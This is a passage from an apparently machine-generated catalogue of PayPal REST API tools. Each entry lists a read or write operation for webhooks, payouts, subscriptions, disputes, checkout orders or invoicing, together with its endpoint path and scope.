paypal_get_v1_notifications_webhooks (read) — Lists webhooks for an app. via GET /v1/notifications/webhooks GET /api/v1/paypal/v1/notifications/webhooks. Scopes: api. paypal_get_v1_notifications_webhooks_by_webhook_id (read) — Shows details for a webhook, by ID. via GET /v1/notifications/webhooks/{webhook_id} GET /api/v1/paypal/v1/notifications/webhooks/{webhook_id}. Scopes: api. paypal_get_v1_notifications_webhooks_by_webhook_id_event_types (read) — Lists event subscriptions for a webhook, by ID. via GET /v1/notifications/webhooks/{webhook_id}/event-types GET /api/v1/paypal/v1/notifications/webhooks/{webhook_id}/event-types. Scopes: api. paypal_get_v1_notifications_webhooks_event_types (read) — Lists available events to which any webhook can subscribe. For a list of supported events, see [Webhook event names](/docs/api/notifications/webhooks/event-names/). via GET /v1/notifications/webhooks-event-types GET /api/v1/paypal/v1/notifications/webhooks-event-types. Scopes: api. paypal_get_v1_notifications_webhooks_events (read) — Lists webhooks event notifications. Use query parameters to filter the response. via GET /v1/notifications/webhooks-events GET /api/v1/paypal/v1/notifications/webhooks-events. Scopes: api. paypal_get_v1_notifications_webhooks_events_by_event_id (read) — Shows details for a webhooks event notification, by ID. via GET /v1/notifications/webhooks-events/{event_id} GET /api/v1/paypal/v1/notifications/webhooks-events/{event_id}. Scopes: api. paypal_get_v1_notifications_webhooks_lookup (read) — Lists webhook lookups. via GET /v1/notifications/webhooks-lookup GET /api/v1/paypal/v1/notifications/webhooks-lookup. Scopes: api. paypal_get_v1_notifications_webhooks_lookup_by_webhook_lookup_id (read) — Shows details for a webhook lookup, by ID. via GET /v1/notifications/webhooks-lookup/{webhook_lookup_id} GET /api/v1/paypal/v1/notifications/webhooks-lookup/{webhook_lookup_id}. Scopes: api. paypal_get_v1_payment_experience_web_profiles (read) — Lists the latest 20 web experience profiles for a merchant or subject. To show details for these or additional profiles, you can show web experience profile details by ID. via GET /v1/payment-experience/web-profiles GET /api/v1/paypal/v1/payment-experience/web-profiles. Scopes: api. paypal_get_v1_payment_experience_web_profiles_by_id (read) — Shows details for a web experience profile, by ID. via GET /v1/payment-experience/web-profiles/{id} GET /api/v1/paypal/v1/payment-experience/web-profiles/{id}. Scopes: api. paypal_get_v1_payments_payouts_by_id (read) — Shows the latest status of a batch payout. Includes the transaction status and other data for individual payout items. via GET /v1/payments/payouts/{id} GET /api/v1/paypal/v1/payments/payouts/{id}. Scopes: api. paypal_get_v1_payments_payouts_item_by_payout_item_id (read) — Shows details for a payout item, by ID. A <code>payout_item_id</code> helps you identify denied payments. If a payment is denied, you can use the <code>payout_item_id</code> to identify the payment even if it lacks a <code>transaction_id</code>. via GET /v1/payments/payouts-item/{payout_item_id} GET /api/v1/paypal/v1/payments/payouts-item/{payout_item_id}. Scopes: api. paypal_get_v1_reporting_balances (read) — List all balances. Specify date time to list balances for that time that appear in the response.<blockquote><strong>Notes:</strong> <ul><li>It takes a maximum of three hours for balances to appear in the list balances call.</li><li>This call lists balances upto the previous three years.</li></ul></blockquote> via GET /v1/reporting/balances GET /api/v1/paypal/v1/reporting/balances. Scopes: api. paypal_get_v1_reporting_transactions (read) — Lists transactions. Specify one or more query parameters to filter the transaction that appear in the response.<blockquote><strong>Notes:</strong> <ul><li>If you specify one or more optional query parameters, the <code>ending_balance</code> response field is empty.</li><li>It takes a maximum of three hours for executed transactions to appear in the list transactions call.</li><li>This call lists transaction for the previous three years.</li></ul></blockquote> via GET /v1/reporting/transactions GET /api/v1/paypal/v1/reporting/transactions. Scopes: api. paypal_get_v1_shipping_trackers (read) — Lists tracking information that meet search criteria. The tracking ID is required but the tracking number is optional. via GET /v1/shipping/trackers GET /api/v1/paypal/v1/shipping/trackers. Scopes: api. paypal_get_v1_shipping_trackers_by_id (read) — Shows tracking information, by tracker ID, for a PayPal transaction. via GET /v1/shipping/trackers/{id} GET /api/v1/paypal/v1/shipping/trackers/{id}. Scopes: api. paypal_get_v2_checkout_orders_by_id (read) — Shows details for an order, by ID.<blockquote><strong>Note:</strong> For error handling and troubleshooting, see <a href="https://developer.paypal.com/api/rest/reference/orders/v2/errors/#get-order">Orders v2 errors</a>.</blockquote> via GET /v2/checkout/orders/{id} GET /api/v1/paypal/v2/checkout/orders/{id}. Scopes: api. paypal_get_v2_customer_partner_referrals_by_partner_referral_id (read) — Shows details by ID for referral data that was shared by the partner or API caller. via GET /v2/customer/partner-referrals/{partner_referral_id} GET /api/v1/paypal/v2/customer/partner-referrals/{partner_referral_id}. Scopes: api. paypal_get_v2_invoicing_accounting_sync_invoices_by_id_connections (read) — Lists connections to accounting platforms per invoice. via GET /v2/invoicing/accounting-sync/invoices/{id}/connections GET /api/v1/paypal/v2/invoicing/accounting-sync/invoices/{id}/connections. Scopes: api. paypal_get_v2_invoicing_accounting_sync_merchant_connections (read) — Lists connections to accounting platforms per merchant. via GET /v2/invoicing/accounting-sync/merchant/connections GET /api/v1/paypal/v2/invoicing/accounting-sync/merchant/connections. Scopes: api. paypal_get_v2_invoicing_invoices (read) — Lists invoices. To filter the invoices that appear in the response, you can specify one or more optional query parameters. via GET /v2/invoicing/invoices GET /api/v1/paypal/v2/invoicing/invoices. Scopes: api. paypal_get_v2_invoicing_invoices_by_invoice_id (read) — Shows details for an invoice, by ID. via GET /v2/invoicing/invoices/{invoice_id} GET /api/v1/paypal/v2/invoicing/invoices/{invoice_id}. Scopes: api. paypal_get_v2_invoicing_templates (read) — Lists merchant-created templates with associated details. The associated details include the emails, addresses, and phone numbers from the user's PayPal profile.<br/>The user can select which values to show in the business information section of their template. via GET /v2/invoicing/templates GET /api/v1/paypal/v2/invoicing/templates. Scopes: api. paypal_get_v2_invoicing_templates_by_template_id (read) — Shows details for a template, by ID. via GET /v2/invoicing/templates/{template_id} GET /api/v1/paypal/v2/invoicing/templates/{template_id}. Scopes: api. paypal_get_v2_payments_authorizations_by_authorization_id (read) — Shows details for an authorized payment, by ID. via GET /v2/payments/authorizations/{authorization_id} GET /api/v1/paypal/v2/payments/authorizations/{authorization_id}. Scopes: api. paypal_get_v2_payments_captures_by_capture_id (read) — Shows details for a captured payment, by ID. via GET /v2/payments/captures/{capture_id} GET /api/v1/paypal/v2/payments/captures/{capture_id}. Scopes: api. paypal_get_v2_payments_refunds_by_refund_id (read) — Shows details for a refund, by ID. via GET /v2/payments/refunds/{refund_id} GET /api/v1/paypal/v2/payments/refunds/{refund_id}. Scopes: api. paypal_get_v3_vault_payment_tokens (read) — Returns all payment tokens for a customer. via GET /v3/vault/payment-tokens GET /api/v1/paypal/v3/vault/payment-tokens. Scopes: api. paypal_get_v3_vault_payment_tokens_by_id (read) — Returns a readable representation of vaulted payment source associated with the payment token id. via GET /v3/vault/payment-tokens/{id} GET /api/v1/paypal/v3/vault/payment-tokens/{id}. Scopes: api. paypal_get_v3_vault_setup_tokens_by_id (read) — Returns a readable representation of temporarily vaulted payment source associated with the setup token id. via GET /v3/vault/setup-tokens/{id} GET /api/v1/paypal/v3/vault/setup-tokens/{id}. Scopes: api. paypal_patch_v1_billing_plans_by_id (write) — Updates a plan with the `CREATED` or `ACTIVE` status. For an `INACTIVE` plan, you can make only status updates.<br/>You can patch these attributes and objects:<table><thead><tr><th>Attribute or object</th><th>Operations</th></tr></thead><tbody><tr><td><code>description</code></td><td>replace</td></tr><tr><td><code>payment_preferences.auto_bill_outstanding</code></td><td>replace</td></tr><tr><td><code>taxes.percentage</code></td><td>replace</td></tr><tr><td><code>payment_preferences.payment_failure_threshold</code></td><td>replace</td></tr><tr><td><code>payment_preferences.setup_fee</code></td><td>replace</td></tr><tr><td><code>payment_preferences.setup_fee_failure_action</code></td><td>replace</td></tr><tr><td><code>name</code></td><td>replace</td></tr></tbody></table> via PATCH /v1/billing/plans/{id} PATCH /api/v1/paypal/v1/billing/plans/{id}. Scopes: api. paypal_patch_v1_billing_subscriptions_by_id (write) — Updates a subscription which could be in <code>ACTIVE</code> or <code>SUSPENDED</code> status. You can override plan level default attributes by providing customised values for plan path in the patch request.<br /> <ul> <li>You cannot update attributes that have already completed (Example - trial cycles can’t be updated if completed).</li> <li>Once overridden, changes to plan resource will not impact subscription.</li> <li>Any price update will not impact billing cycles within next 10 days (Applicable only for subscriptions funded by PayPal account).</li> </ul> Following are the fields eligible for patch.<table><thead><tr><th>Attribute or object</th><th>Operations</th></tr></thead><tbody><tr><td><code>billing_info.outstanding_balance</code></td><td>replace</td></tr><tr><td><code>custom_id</code></td><td>add,replace</td></tr><tr><td><code>plan.billing_cycles[@sequence==n].<br/>pricing_scheme.fixed_price</code></td><td>add,replace</td></tr><tr><td><code>plan.billing_cycles[@sequence==n].<br/>pricing_scheme.tiers</code></td><td>replace</td></tr><tr><td><code>plan.billing_cycles[@sequence==n].<br/>total_cycles</code></td><td>replace</td></tr><tr><td><code>plan.payment_preferences.<br/>auto_bill_outstanding</code></td><td>replace</td></tr><tr><td><code>plan.payment_preferences.<br/>payment_failure_threshold</code></td><td>replace</td></tr><tr><td><code>plan.taxes.inclusive</code></td><td>add,replace</td></tr><tr><td><code>plan.taxes.percentage</code></td><td>add,replace</td></tr><tr><td><code>shipping_amount</code></td><td>add,replace</td></tr><tr><td><code>start_time</code></td><td>replace</td></tr><tr><td><code>subscriber.shipping_address</code></td><td>add,replace</td></tr><tr><td><code>subscriber.payment_source (for subscriptions funded<br/>by card payments)</code></td><td>replace</td></tr></tbody></table> via PATCH /v1/billing/subscriptions/{id} PATCH /api/v1/paypal/v1/billing/subscriptions/{id}. Scopes: api. paypal_patch_v1_catalogs_products_by_product_id (write) — Updates a product, by ID. You can patch these attributes and objects:<table><thead><tr><th>Attribute or object</th><th>Operations</th></tr></thead><tbody><tr><td><code>description</code></td><td>add, replace, remove</td></tr><tr><td><code>category</code></td><td>add, replace, remove</td></tr><tr><td><code>image_url</code></td><td>add, replace, remove</td></tr><tr><td><code>home_url</code></td><td>add, replace, remove</td></tr></tbody></table> via PATCH /v1/catalogs/products/{product_id} PATCH /api/v1/paypal/v1/catalogs/products/{product_id}. Scopes: api. paypal_patch_v1_customer_disputes_by_id (write) — Partially updates a dispute, by ID. Seller can update the `communication_detail` value or The partner can add the `partner action` information. via PATCH /v1/customer/disputes/{id} PATCH /api/v1/paypal/v1/customer/disputes/{id}. Scopes: api. paypal_patch_v1_notifications_webhooks_by_webhook_id (write) — Updates a webhook to replace webhook fields with new values. Supports only the `replace` operation. Pass a `json_patch` object with `replace` operation and `path`, which is `/url` for a URL or `/event_types` for events. The `value` is either the URL or a list of events. via PATCH /v1/notifications/webhooks/{webhook_id} PATCH /api/v1/paypal/v1/notifications/webhooks/{webhook_id}. Scopes: api. paypal_patch_v1_payment_experience_web_profiles_by_id (write) — Partially-updates a web experience profile, by ID. In the JSON request body, specify a patch object, the path of the profile location to update, and a new value. via PATCH /v1/payment-experience/web-profiles/{id} PATCH /api/v1/paypal/v1/payment-experience/web-profiles/{id}. Scopes: api. paypal_patch_v2_checkout_orders_by_id (write) — Updates an order with a `CREATED` or `APPROVED` status. You cannot update an order with the `COMPLETED` status.<br/><br/>To make an update, you must provide a `reference_id`. If you omit this value with an order that contains only one purchase unit, PayPal sets the value to `default` which enables you to use the path: <code>\"/purchase_units/@reference_id=='default'/{attribute-or-object}\"</code>. Merchants and partners can add Level 2 and 3 data to payments to reduce risk and payment processing costs. For more information about processing payments, see <a href="https://developer.paypal.com/docs/checkout/advanced/processing/">checkout</a> or <a href="https://developer.paypal.com/docs/multiparty/checkout/advanced/processing/">multiparty checkout</a>.<blockquote><strong>Note:</strong> For error handling and troubleshooting, see <a href="https://developer.paypal.com/api/rest/reference/orders/v2/errors/#patch-order">Orders v2 errors</a>.</blockquote>Patchable attributes or objects:<br/><br/><table><thead><th>Attribute</th><th>Op</th><th>Notes</th></thead><tbody><tr><td><code>intent</code></td><td>replace</td><td></td></tr><tr><td><code>payer</code></td><td>replace, add</td><td>Using replace op for <code>payer</code> will replace the whole <code>payer</code> object with the value sent in request.</td></tr><tr><td><code>purchase_units</code></td><td>replace, add</td><td></td></tr><tr><td><code>purchase_units[].custom_id</code></td><td>replace, add, remove</td><td></td></tr><tr><td><code>purchase_units[].description</code></td><td>replace, add, remove</td><td></td></tr><tr><td><code>purchase_units[].payee.email</code></td><td>replace</td><td></td></tr><tr><td><code>purchase_units[].shipping.name</code></td><td>replace, add</td><td></td></tr><tr><td><code>purchase_units[].shipping.email_address</code></td><td>replace, add</td><td></td></tr><tr><td><code>purchase_units[].shipping.phone_number</code></td><td>replace, add</td><td></td></tr><tr><td><code>purchase_units[].shipping.options</code></td><td>replace, add</td><td></td></tr><tr><td><code>purchase_units[].shipping.address</code></td><td>replace, add</td><td></td></tr><tr><td><code>purchase_units[].shipping.type</code></td><td>replace, add</td><td></td></tr><tr><td><code>purchase_units[].soft_descriptor</code></td><td>replace, remove</td><td></td></tr><tr><td><code>purchase_units[].amount</code></td><td>replace</td><td></td></tr><tr><td><code>purchase_units[].items</code></td><td>replace, add, remove</td><td></td></tr><tr><td><code>purchase_units[].invoice_id</code></td><td>replace, add, remove</td><td></td></tr><tr><td><code>purchase_units[].payment_instruction</code></td><td>replace</td><td></td></tr><tr><td><code>purchase_units[].payment_instruction.disbursement_mode</code></td><td>replace</td><td>By default, <code>disbursement_mode</code> is <code>INSTANT</code>.</td></tr><tr><td><code>purchase_units[].payment_instruction.payee_receivable_fx_rate_id</code></td><td>replace, add, remove</td><td></td></tr><tr><td><code>purchase_units[].payment_instruction.platform_fees</code></td><td>replace, add, remove</td><td></td></tr><tr><td><code>purchase_units[].supplementary_data.airline</code></td><td>replace, add, remove</td><td></td></tr><tr><td><code>purchase_units[].supplementary_data.card</code></td><td>replace, add, remove</td><td></td></tr><tr><td><code>application_context.client_configuration</code></td><td>replace, add</td><td></td></tr></tbody></table> via PATCH /v2/checkout/orders/{id} PATCH /api/v1/paypal/v2/checkout/orders/{id}. Scopes: api. paypal_patch_v2_checkout_orders_by_id_trackers_by_tracker_id (write) — Updates or cancels the tracking information for a PayPal order, by ID. Updatable attributes or objects:<br/><br/><table><thead><th>Attribute</th><th>Op</th><th>Notes</th></thead><tbody></tr><tr><td><code>items</code></td><td>replace</td><td>Using replace op for <code>items</code> will replace the entire <code>items</code> object with the value sent in request.</td></tr><tr><td><code>notify_payer</code></td><td>replace, add</td><td></td></tr><tr><td><code>status</code></td><td>replace</td><td>Only patching status to CANCELLED is currently supported.</td></tr></tbody></table> via PATCH /v2/checkout/orders/{id}/trackers/{tracker_id} PATCH /api/v1/paypal/v2/checkout/orders/{id}/trackers/{tracker_id}. Scopes: api. paypal_post_v1_billing_plans (write) — Creates a plan that defines pricing and billing cycle details for subscriptions. via POST /v1/billing/plans POST /api/v1/paypal/v1/billing/plans. Scopes: api. paypal_post_v1_billing_plans_by_id_activate (write) — Activates a plan, by ID. via POST /v1/billing/plans/{id}/activate POST /api/v1/paypal/v1/billing/plans/{id}/activate. Scopes: api. paypal_post_v1_billing_plans_by_id_deactivate (write) — Deactivates a plan, by ID. via POST /v1/billing/plans/{id}/deactivate POST /api/v1/paypal/v1/billing/plans/{id}/deactivate. Scopes: api. paypal_post_v1_billing_plans_by_id_update_pricing_schemes (write) — Updates pricing for a plan. For example, you can update a regular billing cycle from $5 per month to $7 per month. via POST /v1/billing/plans/{id}/update-pricing-schemes POST /api/v1/paypal/v1/billing/plans/{id}/update-pricing-schemes. Scopes: api. paypal_post_v1_billing_subscriptions (write) — Creates a subscription. via POST /v1/billing/subscriptions POST /api/v1/paypal/v1/billing/subscriptions. Scopes: api. paypal_post_v1_billing_subscriptions_by_id_activate (write) — Activates the subscription. via POST /v1/billing/subscriptions/{id}/activate POST /api/v1/paypal/v1/billing/subscriptions/{id}/activate. Scopes: api. paypal_post_v1_billing_subscriptions_by_id_cancel (write) — Cancels the subscription. via POST /v1/billing/subscriptions/{id}/cancel POST /api/v1/paypal/v1/billing/subscriptions/{id}/cancel. Scopes: api. paypal_post_v1_billing_subscriptions_by_id_capture (write) — Captures an authorized payment from the subscriber on the subscription. via POST /v1/billing/subscriptions/{id}/capture POST /api/v1/paypal/v1/billing/subscriptions/{id}/capture. Scopes: api. paypal_post_v1_billing_subscriptions_by_id_revise (write) — Updates the quantity of the product or service in a subscription. You can also use this method to switch the plan and update the `shipping_amount`, `shipping_address` values for the subscription. This type of update requires the buyer's consent. via POST /v1/billing/subscriptions/{id}/revise POST /api/v1/paypal/v1/billing/subscriptions/{id}/revise. Scopes: api. paypal_post_v1_billing_subscriptions_by_id_suspend (write) — Suspends the subscription. via POST /v1/billing/subscriptions/{id}/suspend POST /api/v1/paypal/v1/billing/subscriptions/{id}/suspend. Scopes: api. paypal_post_v1_catalogs_products (write) — Creates a product. via POST /v1/catalogs/products POST /api/v1/paypal/v1/catalogs/products. Scopes: api. paypal_post_v1_customer_disputes_by_id_accept_offer (write) — The customer accepts the offer from merchant to resolve a dispute, by ID. PayPal automatically refunds the amount proposed by merchant to the customer. via POST /v1/customer/disputes/{id}/accept-offer POST /api/v1/paypal/v1/customer/disputes/{id}/accept-offer. Scopes: api. paypal_post_v1_customer_disputes_by_id_adjudicate (write) — <blockquote><strong>Important:</strong> This method is for sandbox use only.</blockquote> Settles a dispute in either the customer's or merchant's favor. Merchants can make this call in the sandbox to complete end-to-end dispute resolution testing, which mimics the dispute resolution that PayPal agents normally complete. To make this call, the dispute <code>status</code> must be <code>UNDER_REVIEW</code> and <code>adjudicate</code> link should be available in the <a href="/docs/api/customer-disputes/v1/#disputes_get!c=200&path=links&t=response/">HATEOAS links</a> of the <a href="/docs/api/customer-disputes/v1/#disputes_get">show dispute details</a> response. via POST /v1/customer/disputes/{id}/adjudicate POST /api/v1/paypal/v1/customer/disputes/{id}/adjudicate. Scopes: api. paypal_post_v1_customer_disputes_by_id_deny_offer (write) — Denies an offer that the merchant proposes for a dispute, by ID. via POST /v1/customer/disputes/{id}/deny-offer POST /api/v1/paypal/v1/customer/disputes/{id}/deny-offer. Scopes: api. paypal_post_v1_customer_disputes_by_id_escalate (write) — Escalates the dispute, by ID, to a PayPal claim. To make this call, the stage in the dispute lifecycle must be `INQUIRY`. via POST /v1/customer/disputes/{id}/escalate POST /api/v1/paypal/v1/customer/disputes/{id}/escalate. Scopes: api. paypal_post_v1_customer_disputes_by_id_make_offer (write) — Makes an offer to the other party to resolve a dispute, by ID. To make this call, the stage in the dispute lifecycle must be `INQUIRY`. If the customer accepts the offer, PayPal automatically makes a refund. Allowed offer_type values for the request is available in dispute details <a href="/docs/api/customer-disputes/v1/#definition-allowed_response_options">allowed response options</a> object. via POST /v1/customer/disputes/{id}/make-offer POST /api/v1/paypal/v1/customer/disputes/{id}/make-offer. Scopes: api. paypal_post_v1_customer_disputes_by_id_require_evidence (write) — <blockquote><strong>Important:</strong> This method is for sandbox use only.</blockquote> Updates the status of a dispute, by ID, from <code>UNDER_REVIEW</code> to either:<ul><li><code>WAITING_FOR_BUYER_RESPONSE</code></li><li><code>WAITING_FOR_SELLER_RESPONSE</code></li></ul>This status change enables either the customer or merchant to submit evidence for the dispute. To make this call, the dispute <code>status</code> must be <code>UNDER_REVIEW</code> and <code>require-evidence</code> link should be available in the <a href="/docs/api/customer-disputes/v1/#disputes_get!c=200&path=links&t=response/">HATEOAS links</a> of the <a href="/docs/api/customer-disputes/v1/#disputes_get">show dispute details</a> response. Specify an <code>action</code> value in the JSON request body to indicate whether the status change enables the customer or merchant to submit evidence:<table><thead><tr align="left"><th>If <code>action</code> is</th><th>The <code>status</code> updates to</th></tr></thead><tbody><tr><td><code>BUYER_EVIDENCE</code></td><td> <code>WAITING_FOR_BUYER_RESPONSE</code></td></tr><tr><td><code>SELLER_EVIDENCE</code></td><td> <code>WAITING_FOR_SELLER_RESPONSE</code></td></tr></tbody></table>. via POST /v1/customer/disputes/{id}/require-evidence POST /api/v1/paypal/v1/customer/disputes/{id}/require-evidence. Scopes: api. paypal_post_v1_notifications_simulate_event (write) — Simulates a webhook event. In the JSON request body, specify a sample payload.<br>You need to subscribe to the following webhook events for Pay upon Invoice:<br><table><thead><tr><th>Event</th><th>Trigger</th></tr></thead><tbody><tr><td><code>PAYMENT.CAPTURE.COMPLETED</code></td><td>A payment capture completes.</td></tr><tr><td><code>PAYMENT.CAPTURE.DENIED</code></td><td>A payment capture is denied.</td></tr><tr><td><code>CHECKOUT.PAYMENT-APPROVAL.REVERSED</code></td><td>PayPal reverses a payment capture.</td></tr></tbody></table> via POST /v1/notifications/simulate-event POST /api/v1/paypal/v1/notifications/simulate-event. Scopes: api. paypal_post_v1_notifications_verify_webhook_signature (write) — Verifies a webhook signature. via POST /v1/notifications/verify-webhook-signature POST /api/v1/paypal/v1/notifications/verify-webhook-signature. Scopes: api. paypal_post_v1_notifications_webhooks (write) — Subscribes your webhook listener to events. via POST /v1/notifications/webhooks POST /api/v1/paypal/v1/notifications/webhooks. Scopes: api. paypal_post_v1_notifications_webhooks_events_by_event_id_resend (write) — Resends a webhook event notification, by ID. Any pending notifications are not resent. via POST /v1/notifications/webhooks-events/{event_id}/resend POST /api/v1/paypal/v1/notifications/webhooks-events/{event_id}/resend. Scopes: api. paypal_post_v1_notifications_webhooks_lookup (write) — Creates a webhook lookup. A webhook lookup ties the API caller's REST API app to the subject account (or, if no subject is specified, to the API caller's account). If a webhook event is generated for an event that is tied to the account but not to a particular REST API app (for example, payments initiated with the NVP/SOAP APIs or through the user interface on PayPal.com), those webhook events will treated as if they were intended for the REST API app registered in the webhook lookup instead. Webhook events will then be delivered to any webhooks registered to that REST API app. via POST /v1/notifications/webhooks-lookup POST /api/v1/paypal/v1/notifications/webhooks-lookup. Scopes: api. paypal_post_v1_payment_experience_web_profiles (write) — Creates a web experience profile. In the JSON request body, specify the profile name and details. via POST /v1/payment-experience/web-profiles POST /api/v1/paypal/v1/payment-experience/web-profiles. Scopes: api. paypal_post_v1_payments_payouts (write) — Creates a batch payout. In the JSON request body, pass a `sender_batch_header` and an `items` array. The `sender_batch_header` defines how to handle the payout. The `items` array defines the payout items.<br/>You can make payouts to one or more recipients.<blockquote><strong>Notes:</strong> <ul><li><p>PayPal does not process duplicate payouts. If you specify a <code>sender_batch_id</code> that was used in the last 30 days, the API rejects the request with an error message that shows the duplicate <code>sender_batch_id</code> and includes a HATEOAS link to the original payout with the same <code>sender_batch_id</code>.</p><p>If you receive an HTTP <code>5<i>nn</i></code> status code, you can safely retry the request with the same <code>sender_batch_id</code>.</p></li><li><p>The Payouts API does not support build notation (BN) codes. In a future Payouts release, you can optionally provide BN codes in the <code>PayPal-Partner-Attribution-Id</code> request header.</p><p>For information about the <code>PayPal-Partner-Attribution-Id</code> header, see <a href="/api/rest/requests/#http-request-headers">HTTP request headers</a>. To learn about or request a BN code, contact your partner manager or see <a href="https://www.paypal.com/us/webapps/mpp/partner-program">PayPal Partner Program</a>.</p></li></ul></blockquote> via POST /v1/payments/payouts POST /api/v1/paypal/v1/payments/payouts. Scopes: api. paypal_post_v1_payments_payouts_item_by_payout_item_id_cancel (write) — Cancels an unclaimed payout item, by ID. If no one claims the unclaimed item within 30 days, the API automatically returns the funds to the sender. Use this call to cancel the unclaimed item before the automatic 30-day refund. You can cancel payout items with a <code>transaction_status</code> of <code>UNCLAIMED</code>. via POST /v1/payments/payouts-item/{payout_item_id}/cancel POST /api/v1/paypal/v1/payments/payouts-item/{payout_item_id}/cancel. Scopes: api. paypal_post_v1_shipping_trackers (write) — Adds tracking information for a PayPal transaction. via POST /v1/shipping/trackers POST /api/v1/paypal/v1/shipping/trackers. Scopes: api. paypal_post_v1_shipping_trackers_batch (write) — <blockquote><strong>Deprecation notice:</strong> Adding tracking details for an order through <code>/v1/shipping/trackers-batch</code> is deprecated as its a legacy way of integration. Use the new <a href="/docs/tracking/orders-api/integrate/">Orders v2 API</a> to share tracking details with PayPal.</blockquote>Adds tracking information, with or without tracking numbers, for multiple PayPal transactions. Accepts up to 20 tracking IDs. For more information, see <a href="/docs/tracking/tracking-api/integrate/#link-addtrackinginformationwithtrackingnumbers">Add tracking information with tracking numbers</a> and <a href="/docs/tracking/tracking-api/integrate/#link-addtrackinginformationwithouttrackingnumbers">Add tracking information without tracking numbers</a>. via POST /v1/shipping/trackers-batch POST /api/v1/paypal/v1/shipping/trackers-batch. Scopes: api. paypal_post_v2_checkout_orders (write) — Creates an order. Merchants and partners can add Level 2 and 3 data to payments to reduce risk and payment processing costs. For more information about processing payments, see <a href="https://developer.paypal.com/docs/checkout/advanced/processing/">checkout</a> or <a href="https://developer.paypal.com/docs/multiparty/checkout/advanced/processing/">multiparty checkout</a>.<blockquote><strong>Note:</strong> For error handling and troubleshooting, see <a href="https://developer.paypal.com/api/rest/reference/orders/v2/errors/#create-order">Orders v2 errors</a>.</blockquote> via POST /v2/checkout/orders POST /api/v1/paypal/v2/checkout/orders. Scopes: api. paypal_post_v2_checkout_orders_by_id_authorize (write) — Authorizes payment for an order. To successfully authorize payment for an order, the buyer must first approve the order or a valid payment_source must be provided in the request. A buyer can approve the order upon being redirected to the rel:approve URL that was returned in the HATEOAS links in the create order response.<blockquote><strong>Note:</strong> For error handling and troubleshooting, see <a href="https://developer.paypal.com/api/rest/reference/orders/v2/errors/#authorize-order">Orders v2 errors</a>.</blockquote> via POST /v2/checkout/orders/{id}/authorize POST /api/v1/paypal/v2/checkout/orders/{id}/authorize. Scopes: api. paypal_post_v2_checkout_orders_by_id_capture (write) — Captures payment for an order. To successfully capture payment for an order, the buyer must first approve the order or a valid payment_source must be provided in the request. A buyer can approve the order upon being redirected to the rel:approve URL that was returned in the HATEOAS links in the create order response.<blockquote><strong>Note:</strong> For error handling and troubleshooting, see <a href="https://developer.paypal.com/api/rest/reference/orders/v2/errors/#capture-order">Orders v2 errors</a>.</blockquote> via POST /v2/checkout/orders/{id}/capture POST /api/v1/paypal/v2/checkout/orders/{id}/capture. Scopes: api. paypal_post_v2_checkout_orders_by_id_confirm_payment_source (write) — Payer confirms their intent to pay for the the Order with the given payment source. via POST /v2/checkout/orders/{id}/confirm-payment-source POST /api/v1/paypal/v2/checkout/orders/{id}/confirm-payment-source. Scopes: api. paypal_post_v2_checkout_orders_by_id_track (write) — Adds tracking information for an Order. via POST /v2/checkout/orders/{id}/track POST /api/v1/paypal/v2/checkout/orders/{id}/track. Scopes: api. paypal_post_v2_checkout_orders_order_update_callback (write) — The documentation for this 'endpoint' is different from the other endpoints under v2 Orders. For this endpoint the role of client and server is reversed. The client sending the request is PayPal, and the server sending the response is the merchant. In the request, PayPal will send the buyer's redacted shipping address and selected shipping option to the callback URL defined the create order request. The response from the merchant will update the Orders resource. via POST /v2/checkout/orders/order-update-callback POST /api/v1/paypal/v2/checkout/orders/order-update-callback. Scopes: api. paypal_post_v2_customer_partner_referrals (write) — Creates a partner referral that is shared by the partner or API caller. The partner referral is used to onboard the seller, and contains the seller's personal, business, financial and operations. via POST /v2/customer/partner-referrals POST /api/v1/paypal/v2/customer/partner-referrals. Scopes: api. paypal_post_v2_invoicing_generate_next_invoice_number (write) — Generates the next invoice number that is available to the merchant. The next invoice number uses the prefix and suffix from the last invoice number and increments the number by one. For example, the next invoice number after `INVOICE-1234` is `INVOICE-1235`. via POST /v2/invoicing/generate-next-invoice-number POST /api/v1/paypal/v2/invoicing/generate-next-invoice-number. Scopes: api. paypal_post_v2_invoicing_invoices (write) — Creates a draft invoice. To move the invoice from a draft to payable state, you must <a href="#invoices_send">send the invoice</a>.<br/><br/>In the JSON request body, include invoice details including merchant information. The <code>invoice</code> object must include an <code>items</code> array.<blockquote><strong>Note:</strong> The merchant that you specify in an invoice must have a PayPal account in good standing.</blockquote>. via POST /v2/invoicing/invoices POST /api/v1/paypal/v2/invoicing/invoices. Scopes: api. paypal_post_v2_invoicing_invoices_by_invoice_id_cancel (write) — Cancels a sent invoice, by ID, and, optionally, sends a notification about the cancellation to the payer, merchant, and CC: emails. via POST /v2/invoicing/invoices/{invoice_id}/cancel POST /api/v1/paypal/v2/invoicing/invoices/{invoice_id}/cancel. Scopes: api. paypal_post_v2_invoicing_invoices_by_invoice_id_generate_qr_code (write) — Generates a QR code for an invoice, by ID. The QR code is a PNG image in <a href="https://www.base64encode.org/">Base64-encoded</a> format that corresponds to the invoice ID. You can generate a QR code for an invoice and add it to a paper or PDF invoice. When customers use their mobile devices to scan the QR code, they are redirected to the PayPal mobile payment flow where they can view the invoice and pay online with PayPal or a credit card. Before you get a QR code, you must <a href="#invoices_create">create an invoice</a> and <a href="#invoices_send">send an invoice</a> to move the invoice from a draft to payable state. Do not include an email address if you do not want the invoice emailed. via POST /v2/invoicing/invoices/{invoice_id}/generate-qr-code POST /api/v1/paypal/v2/invoicing/invoices/{invoice_id}/generate-qr-code. Scopes: api. paypal_post_v2_invoicing_invoices_by_invoice_id_payments (write) — Records a payment for the invoice. If no payment is due, the invoice is marked as `PAID`. Otherwise, the invoice is marked as `PARTIALLY PAID`. via POST /v2/invoicing/invoices/{invoice_id}/payments POST /api/v1/paypal/v2/invoicing/invoices/{invoice_id}/payments. Scopes: api. paypal_post_v2_invoicing_invoices_by_invoice_id_refunds (write) — Records a refund for the invoice. If all payments are refunded, the invoice is marked as `REFUNDED`. Otherwise, the invoice is marked as `PARTIALLY REFUNDED`. via POST /v2/invoicing/invoices/{invoice_id}/refunds POST /api/v1/paypal/v2/invoicing/invoices/{invoice_id}/refunds. Scopes: api. paypal_post_v2_invoicing_invoices_by_invoice_id_remind (write) — Sends a reminder to the payer about an invoice, by ID. In the JSON request body, include a `notification` object that defines the subject of the reminder and other details. <blockquote><strong>Notes:</strong><ul><li>API caller can send only 2 reminders in a day.</li></ul></blockquote>. via POST /v2/invoicing/invoices/{invoice_id}/remind POST /api/v1/paypal/v2/invoicing/invoices/{invoice_id}/remind. Scopes: api. 